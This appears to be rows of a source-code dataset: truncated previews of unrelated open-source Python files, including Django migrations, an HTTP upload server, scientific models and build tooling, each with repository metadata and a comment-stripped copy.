# Copyright 2018 PerfKitBenchmarker Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
38.634921
77
0.709942
import os import unittest import mock from perfkitbenchmarker import test_util from perfkitbenchmarker.linux_benchmarks import mnist_benchmark from perfkitbenchmarker.linux_benchmarks import resnet_benchmark from perfkitbenchmarker.sample import Sample class ResNetBenchmarkTestCase(unittest.TestCase, te...
true
true
1c33b801400323fb0a007fa682d7ea3b58a5b5c7
2,244
py
Python
djangocms_baseplugins/download/migrations/0002_downloadsection.py
benzkji/djangocms-baseplugins
7f041a030ed93dcdec70e4ca777b841846b8f2f2
[ "MIT" ]
2
2019-04-14T01:31:22.000Z
2020-03-05T13:06:57.000Z
djangocms_baseplugins/download/migrations/0002_downloadsection.py
benzkji/djangocms-baseplugins
7f041a030ed93dcdec70e4ca777b841846b8f2f2
[ "MIT" ]
32
2017-04-04T09:28:06.000Z
2021-08-18T16:23:02.000Z
djangocms_baseplugins/download/migrations/0002_downloadsection.py
bnzk/djangocms-baseplugins
7f041a030ed93dcdec70e4ca777b841846b8f2f2
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.11.11 on 2019-08-05 16:02 from __future__ import unicode_literals import django.db.models.deletion from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('cms', '0016_auto_20160608_1535'), ('download', '000...
48.782609
99
0.505348
from __future__ import unicode_literals import django.db.models.deletion from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('cms', '0016_auto_20160608_1535'), ('download', '0001_initial'), ] operations = [ migrations.CreateModel( ...
true
true
1c33b809346fc82b80b66e12604955377986dc88
659
py
Python
Chase/code/fixSpeed.py
haghish/Chase
8045bce3739cf4cfec63b8fd3387cb1b43904fc3
[ "MIT" ]
2
2020-09-01T13:09:10.000Z
2020-12-17T16:36:42.000Z
Chase/code/fixSpeed.py
haghish/Chase
8045bce3739cf4cfec63b8fd3387cb1b43904fc3
[ "MIT" ]
null
null
null
Chase/code/fixSpeed.py
haghish/Chase
8045bce3739cf4cfec63b8fd3387cb1b43904fc3
[ "MIT" ]
null
null
null
# Written by HAGHISH UG 2016 # ALL RIGHTS RESERVED import math def fixSpeed(speed, dx, dy): # calculate the distance squaredDistance = ((dy)**2) + ((dx)**2) distance = math.sqrt(squaredDistance) # get the ratio between distance and speed ratio = distance/speed # get xHat and yHat (make sure...
21.258065
57
0.564492
import math def fixSpeed(speed, dx, dy): squaredDistance = ((dy)**2) + ((dx)**2) distance = math.sqrt(squaredDistance) ratio = distance/speed if ratio != 0: dxHat = math.sqrt(dx**2/ratio**2) dyHat = math.sqrt(dy ** 2 / ratio ** 2) else: dxHat = 0 ...
true
true
1c33b832812df09e864b29741395873dbedd902b
5,112
py
Python
conans/client/packager.py
xaqq/conan
ab0870336550b7521da71595c6babf42d5690f7b
[ "MIT" ]
null
null
null
conans/client/packager.py
xaqq/conan
ab0870336550b7521da71595c6babf42d5690f7b
[ "MIT" ]
1
2018-06-01T09:34:49.000Z
2018-06-01T13:51:07.000Z
conans/client/packager.py
xaqq/conan
ab0870336550b7521da71595c6babf42d5690f7b
[ "MIT" ]
null
null
null
import os import shutil from conans.client import tools from conans.client.file_copier import FileCopier, report_copied_files from conans.client.output import ScopedOutput from conans.errors import (ConanException, ConanExceptionInUserConanfileMethod, conanfile_exception_formatter) from cona...
40.896
100
0.693075
import os import shutil from conans.client import tools from conans.client.file_copier import FileCopier, report_copied_files from conans.client.output import ScopedOutput from conans.errors import (ConanException, ConanExceptionInUserConanfileMethod, conanfile_exception_formatter) from cona...
true
true
1c33b861ff7df4bb714197bfefe52bd56f66e9fc
8,355
py
Python
bfutils/bfpp-interp.py
borisfaure/bfb
1f019ab580b1e75eaa1eca3c3e87944da148607e
[ "WTFPL" ]
1
2015-04-22T08:23:47.000Z
2015-04-22T08:23:47.000Z
bfutils/bfpp-interp.py
borisfaure/bfb
1f019ab580b1e75eaa1eca3c3e87944da148607e
[ "WTFPL" ]
null
null
null
bfutils/bfpp-interp.py
borisfaure/bfb
1f019ab580b1e75eaa1eca3c3e87944da148607e
[ "WTFPL" ]
null
null
null
#!/usr/bin/env python """ A brainfuck++ interpertor. Based on pybrain4. """ import os import sys import optparse import bfpreprocessor import tty import termios import socket class Interp(): def __init__(self, code): self.cells = [0] * 30000 self.maxint = (2 ** 8) - 1 self.cellpointer = 0 ...
35.553191
94
0.452783
import os import sys import optparse import bfpreprocessor import tty import termios import socket class Interp(): def __init__(self, code): self.cells = [0] * 30000 self.maxint = (2 ** 8) - 1 self.cellpointer = 0 self.codecursor = 0 self.socket = None self.file = N...
true
true
1c33b9cb76fb59d737a1b4f14ac11c663289ecdd
10,541
py
Python
web/SimpleHTTPServerWithUpload.py
laxa/scripts
40bcf3b2090430ab0363d8326aede80a6a3318c1
[ "MIT" ]
1
2018-09-05T13:35:24.000Z
2018-09-05T13:35:24.000Z
web/SimpleHTTPServerWithUpload.py
Laxa/scripts
6eaeb4ac65a62fe098bff45eb9f421560d1a2984
[ "MIT" ]
null
null
null
web/SimpleHTTPServerWithUpload.py
Laxa/scripts
6eaeb4ac65a62fe098bff45eb9f421560d1a2984
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # script sources: https://gist.github.com/UniIsland/3346170 """Simple HTTP Server With Upload. This module builds on BaseHTTPServer by implementing the standard GET and HEAD requests in a fairly straightforward manner. """ __version__ = "0.1" __all__ = ["SimpleHTTPRequestHandler"] __author_...
35.611486
97
0.581064
__version__ = "0.1" __all__ = ["SimpleHTTPRequestHandler"] __author__ = "bones7456" __home_page__ = "http://li2z.cn/" import os import posixpath import http.server import urllib import html import shutil import mimetypes import re import io class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler): ...
true
true
1c33ba948c776afd72bc9c5d8ccaf2566e5db1b2
791
py
Python
api/celery_api/signal_handler.py
240325184/KubeOperator
777774050b236abf938a5a9ef505124c26e4916e
[ "Apache-2.0" ]
3
2020-04-05T04:53:24.000Z
2020-04-05T04:53:34.000Z
api/celery_api/signal_handler.py
240325184/KubeOperator
777774050b236abf938a5a9ef505124c26e4916e
[ "Apache-2.0" ]
27
2021-05-05T02:51:26.000Z
2022-01-04T21:30:21.000Z
api/celery_api/signal_handler.py
240325184/KubeOperator
777774050b236abf938a5a9ef505124c26e4916e
[ "Apache-2.0" ]
1
2020-03-04T00:29:29.000Z
2020-03-04T00:29:29.000Z
# -*- coding: utf-8 -*- # import logging from celery.signals import after_setup_logger from celery.utils.log import get_logger from kombu.utils.encoding import safe_str from .logger import CeleryTaskFileHandler safe_str = lambda x: x logger = get_logger(__file__) @after_setup_logger.connect def add_celery_redis_ha...
27.275862
112
0.766119
import logging from celery.signals import after_setup_logger from celery.utils.log import get_logger from kombu.utils.encoding import safe_str from .logger import CeleryTaskFileHandler safe_str = lambda x: x logger = get_logger(__file__) @after_setup_logger.connect def add_celery_redis_handler(sender=None, logge...
true
true
1c33babc1dbab32440463811c12abe576f496721
638
py
Python
testing/rubik_testing/__init__.py
Borsos/rubik
af220a142b81a8f5b5011e4e072be9e3d130e827
[ "Apache-2.0" ]
1
2019-11-13T00:44:09.000Z
2019-11-13T00:44:09.000Z
testing/rubik_testing/__init__.py
Borsos/rubik
af220a142b81a8f5b5011e4e072be9e3d130e827
[ "Apache-2.0" ]
null
null
null
testing/rubik_testing/__init__.py
Borsos/rubik
af220a142b81a8f5b5011e4e072be9e3d130e827
[ "Apache-2.0" ]
1
2019-11-13T00:47:16.000Z
2019-11-13T00:47:16.000Z
#!/usr/bin/env python3 # # Copyright 2014 Simone Campagna # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
33.578947
74
0.757053
__author__ = "Simone Campagna"
true
true
1c33bb68b5b12b6c3eccc9179009a52e97d4c260
510
py
Python
test/test_data.py
ikamensh/arc-py
5b8d1d44e4602ff029dd77f65882423ee57bf5c1
[ "MIT" ]
3
2021-04-01T21:21:23.000Z
2021-12-24T09:50:28.000Z
test/test_data.py
ikamensh/arc-py
5b8d1d44e4602ff029dd77f65882423ee57bf5c1
[ "MIT" ]
1
2021-04-01T14:32:51.000Z
2021-04-01T14:32:51.000Z
test/test_data.py
ikamensh/arc-py
5b8d1d44e4602ff029dd77f65882423ee57bf5c1
[ "MIT" ]
1
2022-01-18T20:39:33.000Z
2022-01-18T20:39:33.000Z
import os import pytest @pytest.fixture() def no_cache(): from arc.data import cache_file if os.path.isfile(cache_file): os.remove(cache_file) def test_eval_set(no_cache): from arc import validation_problems, describe_task_group assert len(validation_problems) == 400 describe_task_grou...
20.4
60
0.758824
import os import pytest @pytest.fixture() def no_cache(): from arc.data import cache_file if os.path.isfile(cache_file): os.remove(cache_file) def test_eval_set(no_cache): from arc import validation_problems, describe_task_group assert len(validation_problems) == 400 describe_task_grou...
true
true
1c33bd0a99380be85fae7a96440f62e3c0394372
6,644
py
Python
automancy/core/tactical_asserts.py
IAmTheBlurr/Automancy
0c52916cd01dda6bd34ef8d048c37e478dfabbb5
[ "MIT" ]
null
null
null
automancy/core/tactical_asserts.py
IAmTheBlurr/Automancy
0c52916cd01dda6bd34ef8d048c37e478dfabbb5
[ "MIT" ]
null
null
null
automancy/core/tactical_asserts.py
IAmTheBlurr/Automancy
0c52916cd01dda6bd34ef8d048c37e478dfabbb5
[ "MIT" ]
null
null
null
""" ./core/tactical_asserts.py """ from time import sleep import chronomancy import inspect from automancy.core import Elemental from selenium.common.exceptions import WebDriverException class TacticalAsserts(object): def __init__(self, sleep_time: float = 0.25, max_timeout: int = 10): super().__init__...
39.313609
213
0.638471
from time import sleep import chronomancy import inspect from automancy.core import Elemental from selenium.common.exceptions import WebDriverException class TacticalAsserts(object): def __init__(self, sleep_time: float = 0.25, max_timeout: int = 10): super().__init__() self.max_timeout = max_t...
true
true
1c33bd36d7692dffce76f4f41188662a80708b18
18,818
py
Python
log_complete/model_244.py
LoLab-VU/Bayesian_Inference_of_Network_Dynamics
54a5ef7e868be34289836bbbb024a2963c0c9c86
[ "MIT" ]
null
null
null
log_complete/model_244.py
LoLab-VU/Bayesian_Inference_of_Network_Dynamics
54a5ef7e868be34289836bbbb024a2963c0c9c86
[ "MIT" ]
null
null
null
log_complete/model_244.py
LoLab-VU/Bayesian_Inference_of_Network_Dynamics
54a5ef7e868be34289836bbbb024a2963c0c9c86
[ "MIT" ]
null
null
null
# exported from PySB model 'model' from pysb import Model, Monomer, Parameter, Expression, Compartment, Rule, Observable, Initial, MatchOnce, Annotation, ANY, WILD Model() Monomer('Ligand', ['Receptor']) Monomer('ParpU', ['C3A']) Monomer('C8A', ['BidU', 'C3pro']) Monomer('SmacM', ['BaxA']) Monomer('BaxM', ['BidM', '...
91.349515
710
0.806515
from pysb import Model, Monomer, Parameter, Expression, Compartment, Rule, Observable, Initial, MatchOnce, Annotation, ANY, WILD Model() Monomer('Ligand', ['Receptor']) Monomer('ParpU', ['C3A']) Monomer('C8A', ['BidU', 'C3pro']) Monomer('SmacM', ['BaxA']) Monomer('BaxM', ['BidM', 'BaxA']) Monomer('Apop', ['C3pro', ...
true
true
1c33bd3cd9c3f9a94ceb7cff2cf858c2010efda8
1,068
py
Python
setup.py
Baras64/Scrapera
bbd2f24915767be951acb1fc5fcf4d3d73eedbd4
[ "MIT" ]
300
2021-01-24T05:53:07.000Z
2022-01-10T06:06:41.000Z
setup.py
pratik-choudhari/Scrapera
3d48f2b861849d90aebe85d6e088365de7810c06
[ "MIT" ]
10
2021-01-24T06:37:10.000Z
2021-08-30T16:47:15.000Z
setup.py
pratik-choudhari/Scrapera
3d48f2b861849d90aebe85d6e088365de7810c06
[ "MIT" ]
21
2021-01-24T14:37:42.000Z
2022-01-05T19:33:00.000Z
from setuptools import setup import os here = os.path.abspath(os.path.dirname(__file__)) with open(os.path.join(here, 'README.md'), encoding='utf-8') as f: long_description = '\n' + f.read() with open('requirements.txt') as f: required = f.read().splitlines() setup( name="scrapera", version="1.1.3",...
30.514286
68
0.655431
from setuptools import setup import os here = os.path.abspath(os.path.dirname(__file__)) with open(os.path.join(here, 'README.md'), encoding='utf-8') as f: long_description = '\n' + f.read() with open('requirements.txt') as f: required = f.read().splitlines() setup( name="scrapera", version="1.1.3",...
true
true
1c33be3154e4fb054abe4a689218686c25115ebe
487
py
Python
lab/migrations/0016_alter_objectgroup_options.py
betagouv/euphrosyne
a67857a8716b5060cd9a2c6fa5f3d45c3fff435a
[ "MIT" ]
1
2022-02-21T19:46:20.000Z
2022-02-21T19:46:20.000Z
lab/migrations/0016_alter_objectgroup_options.py
betagouv/euphrosyne
a67857a8716b5060cd9a2c6fa5f3d45c3fff435a
[ "MIT" ]
37
2021-10-18T18:33:26.000Z
2022-03-31T12:38:38.000Z
lab/migrations/0016_alter_objectgroup_options.py
betagouv/euphrosyne
a67857a8716b5060cd9a2c6fa5f3d45c3fff435a
[ "MIT" ]
2
2022-03-03T15:41:30.000Z
2022-03-07T14:20:26.000Z
# Generated by Django 4.0.1 on 2022-02-14 10:43 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('lab', '0015_objectgroup_object_count_alter_objectgroup_inventory_and_more_squashed_0016_alter_objectgroup_label'), ] operations = [ migrations.Alter...
27.055556
124
0.677618
from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('lab', '0015_objectgroup_object_count_alter_objectgroup_inventory_and_more_squashed_0016_alter_objectgroup_label'), ] operations = [ migrations.AlterModelOptions( name='objectgroup', ...
true
true
1c33be844c886ef505a7fc609351b1c1dceb34b6
99
py
Python
shared/python/__init__.py
carol-hsu/relay-bench
0facffedb3cbb0d5f110769a84bba68718cff72b
[ "Apache-2.0" ]
7
2019-10-03T22:41:18.000Z
2020-05-31T18:52:15.000Z
shared/python/__init__.py
carol-hsu/relay-bench
0facffedb3cbb0d5f110769a84bba68718cff72b
[ "Apache-2.0" ]
14
2019-10-18T19:13:53.000Z
2021-09-08T01:36:37.000Z
shared/python/__init__.py
carol-hsu/relay-bench
0facffedb3cbb0d5f110769a84bba68718cff72b
[ "Apache-2.0" ]
4
2019-10-03T21:34:03.000Z
2022-02-23T10:29:49.000Z
from . import trial_util from . import relay_util from . import analysis_util from . import common
19.8
27
0.79798
from . import trial_util from . import relay_util from . import analysis_util from . import common
true
true
1c33beb67d1b99e22341dd936653d4cf90801b6e
9,407
py
Python
dapper/tools/localization.py
dafeda/DAPPER
fc4ae95a3eb7c65387616f988b75559a9eacc048
[ "MIT" ]
null
null
null
dapper/tools/localization.py
dafeda/DAPPER
fc4ae95a3eb7c65387616f988b75559a9eacc048
[ "MIT" ]
1
2022-02-18T12:29:38.000Z
2022-02-18T12:29:38.000Z
dapper/tools/localization.py
dafeda/DAPPER
fc4ae95a3eb7c65387616f988b75559a9eacc048
[ "MIT" ]
null
null
null
"""Localization tools, including distance and tapering comps. A good introduction to localization: Sakov (2011), Computational Geosciences: 'Relation between two common localisation methods for the EnKF'. """ # NB: Why is the 'order' argument not supported by this module? Because: # 1) Assuming only order (orientati...
30.74183
88
0.582545
# 2) It's not necessary, because the module only communicates to *exterior* via indices import numpy as np def pairwise_distances(A, B=None, domain=None): if B is None: B = A A = np.atleast_2d(A) B = np.atleast_2d(B) mA, nA = A.shape mB, nB = B.shape assert nA == nB, "Th...
true
true
1c33bfb83e4b9c8e2c5f242afa3184bebe3cef27
17,571
py
Python
neutron/openstack/common/gettextutils.py
SnabbCo/neutron
a657c06d10f2171149c6b1863df36522bdc11cd7
[ "Apache-2.0" ]
1
2016-04-19T08:20:19.000Z
2016-04-19T08:20:19.000Z
neutron/openstack/common/gettextutils.py
SnabbCo/neutron
a657c06d10f2171149c6b1863df36522bdc11cd7
[ "Apache-2.0" ]
null
null
null
neutron/openstack/common/gettextutils.py
SnabbCo/neutron
a657c06d10f2171149c6b1863df36522bdc11cd7
[ "Apache-2.0" ]
null
null
null
# Copyright 2012 Red Hat, Inc. # Copyright 2013 IBM Corp. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2....
39.13363
79
0.648341
import copy import functools import gettext import locale from logging import handlers import os from babel import localedata import six _localedir = os.environ.get('neutron'.upper() + '_LOCALEDIR') _t = gettext.translation('neutron', localedir=_localedir, fallback=True) _t_log_levels = dict( ...
true
true
1c33bfd302e7d66c62c77fcf9ddcf3ff4d552c7b
30,613
py
Python
openaerostruct/geometry/utils.py
fkopsaf/OpenAeroStruct
414bd76a7f14f1bd52d6dacc6694382d52e5fabc
[ "Apache-2.0" ]
null
null
null
openaerostruct/geometry/utils.py
fkopsaf/OpenAeroStruct
414bd76a7f14f1bd52d6dacc6694382d52e5fabc
[ "Apache-2.0" ]
null
null
null
openaerostruct/geometry/utils.py
fkopsaf/OpenAeroStruct
414bd76a7f14f1bd52d6dacc6694382d52e5fabc
[ "Apache-2.0" ]
1
2018-09-24T04:58:37.000Z
2018-09-24T04:58:37.000Z
from __future__ import print_function, division import warnings import numpy as np from numpy import cos, sin, tan from openaerostruct.geometry.CRM_definitions import get_crm_points def rotate(mesh, theta_y, symmetry, rotate_x=True): """ Compute rotation matrices given mesh and rotation angles in d...
34.669309
99
0.575964
from __future__ import print_function, division import warnings import numpy as np from numpy import cos, sin, tan from openaerostruct.geometry.CRM_definitions import get_crm_points def rotate(mesh, theta_y, symmetry, rotate_x=True): te = mesh[-1] le = mesh[ 0] quarter_chord = 0.25 * te + 0.75...
true
true
1c33c028878b8df40f98e39ce8707d77981d1131
4,298
py
Python
lib/editorconfig/handler.py
Twilight0/script.module.jsbeautifier
40b8bbd342788cbd2affaf08921b213252146eaa
[ "MIT" ]
70
2015-01-12T09:55:18.000Z
2022-03-29T06:15:49.000Z
lib/editorconfig/handler.py
Twilight0/script.module.jsbeautifier
40b8bbd342788cbd2affaf08921b213252146eaa
[ "MIT" ]
26
2015-09-15T06:46:51.000Z
2022-03-28T08:56:35.000Z
lib/editorconfig/handler.py
Twilight0/script.module.jsbeautifier
40b8bbd342788cbd2affaf08921b213252146eaa
[ "MIT" ]
28
2015-04-05T18:07:16.000Z
2022-03-28T08:08:00.000Z
"""EditorConfig file handler Provides ``EditorConfigHandler`` class for locating and parsing EditorConfig files relevant to a given filepath. Licensed under Simplified BSD License (see LICENSE.BSD file). """ import os from editorconfig import VERSION from editorconfig.exceptions import PathError, VersionError from...
33.578125
78
0.639832
import os from editorconfig import VERSION from editorconfig.exceptions import PathError, VersionError from editorconfig.ini import EditorConfigParser __all__ = ['EditorConfigHandler'] def get_filenames(path, filename): path_list = [] while True: path_list.append(os.path.join(path, filename)) ...
true
true
1c33c11e620e4693a9ee4e27ae8196c291f627c5
1,086
py
Python
runtimes/actions/riskCalculationFlow/formatData_BulkWrite.py
Hitachi-CTI-Call-For-Code-COVID-19-Team/risk-calculator
96ff4ebe9bfdf3f8b525c65678500ea61260ada3
[ "Apache-2.0" ]
null
null
null
runtimes/actions/riskCalculationFlow/formatData_BulkWrite.py
Hitachi-CTI-Call-For-Code-COVID-19-Team/risk-calculator
96ff4ebe9bfdf3f8b525c65678500ea61260ada3
[ "Apache-2.0" ]
null
null
null
runtimes/actions/riskCalculationFlow/formatData_BulkWrite.py
Hitachi-CTI-Call-For-Code-COVID-19-Team/risk-calculator
96ff4ebe9bfdf3f8b525c65678500ea61260ada3
[ "Apache-2.0" ]
null
null
null
# /* # Copyright 2020 Hitachi Ltd. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, ...
26.487805
88
0.724678
import sys import json def main(jsonified_outputList_dict): docsFormatted = json.dumps( {"docs": json.loads(jsonified_outputList_dict["calulatedRisks"])}) return {'docs': docsFormatted, "dbname": "log_risk_calculation" }
true
true